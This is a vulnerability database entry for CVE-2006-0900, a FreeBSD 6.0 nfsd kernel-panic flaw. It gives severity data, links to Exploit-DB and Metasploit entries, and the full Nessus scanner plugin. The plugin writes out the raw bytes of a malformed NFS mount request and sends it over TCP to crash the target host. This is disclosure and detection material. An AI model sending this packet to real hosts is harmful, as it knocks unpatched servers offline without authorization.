Vulnerabilities > CVE-2006-0900 - Remote NFS RPC Request Denial of Service vulnerability in Freebsd 6.0

047910
CVSS 7.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
COMPLETE
network
low complexity
freebsd
nessus
exploit available
metasploit

Summary

nfsd in FreeBSD 6.0 kernel allows remote attackers to cause a denial of service via a crafted NFS mount request, as demonstrated by the ProtoVer NFS test suite.

Vulnerable Configurations

Part Description Count
OS
Freebsd
1

Exploit-Db

descriptionFreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit. CVE-2006-0900. Dos exploit for bsd platform
idEDB-ID:1540
last seen2016-01-31
modified2006-02-28
published2006-02-28
reporterEvgeny Legerov
sourcehttps://www.exploit-db.com/download/1540/
titleFreeBSD 6.0 nfsd Remote Kernel Panic Denial of Service Exploit

Metasploit

descriptionThis module sends a specially-crafted NFS Mount request causing a kernel panic on host running FreeBSD 6.0.
idMSF:AUXILIARY/DOS/FREEBSD/NFSD/NFSD_MOUNT
last seen2020-01-25
modified2017-07-24
published2006-11-19
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0900
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb
titleFreeBSD Remote NFS RPC Request Denial of Service

Nessus

NASL familyDenial of Service
NASL idFREEBSD_NFSD_DOS.NASL
descriptionThe NFS server on the remote host appears to be one from FreeBSD that causes a kernel panic when it receives a malformed NFS mount request via TCP. An unauthenticated remote attacker can leverage this flaw to crash the remote host.
last seen2020-06-01
modified2020-06-02
plugin id20989
published2006-03-01
reporterThis script is Copyright (C) 2006-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/20989
titleFreeBSD nfsd Malformed NFS Mount Request Remote DoS
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(20989);
  script_version("1.19");
  script_cvs_date("Date: 2018/07/11 17:09:24");

  script_cve_id("CVE-2006-0900");
  script_bugtraq_id(16838);

  script_name(english:"FreeBSD nfsd Malformed NFS Mount Request Remote DoS");
  script_summary(english:"Tries to crash remote FreeBSD host");

  script_set_attribute(attribute:"synopsis", value:"The remote host is affected by a denial of service vulnerability.");
  script_set_attribute(attribute:"description", value:
"The NFS server on the remote host appears to be one from FreeBSD that
causes a kernel panic when it receives a malformed NFS mount request
via TCP. An unauthenticated remote attacker can leverage this flaw to
crash the remote host.");
  # http://web.archive.org/web/20100228073003/http://lists.immunitysec.com/pipermail/dailydave/2006-February/002982.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?31514c89");
  # ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-06:10.nfs.asc
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?2335c1e7");
  script_set_attribute(attribute:"solution", value:
"Use a firewall to restrict access to the NFS server or upgrade / patch
the affected system as described in the vendor advisory above.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2006/02/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/03/01");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
  script_end_attributes();

  script_category(ACT_KILL_HOST);
  script_family(english:"Denial of Service");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");

  script_dependencies("os_fingerprint.nasl", "rpcinfo.nasl");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("Services/rpc-nfs", 2049);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

os = get_kb_item("Host/OS");
if (!os) exit(0);

if (!egrep(pattern:"freebsd", string:os, icase:TRUE)) exit(0);

if (islocalhost()) exit(0);
port = get_kb_item("Services/rpc-nfs");
if (!port) port = 2049;
if (!get_port_state(port)) exit(0);


# A bad NFS mount request.
req = raw_string(
  0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  0x00, 0x01, 0x86, 0xa5, 0x00, 0x00, 0x00, 0x01,
  0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04,
  0x2f, 0x74, 0x6d, 0x70
);


# Open a socket and try to crash the remote host.
soc = open_sock_tcp(port);
if (soc) {
  start_denial();


  send(socket:soc, data:req);
  close(soc);

  # Check whether it's now down.
  alive = end_denial();
  if (!alive) {
    security_hole(port);
    set_kb_item(name:"Host/dead", value:TRUE);
  }
}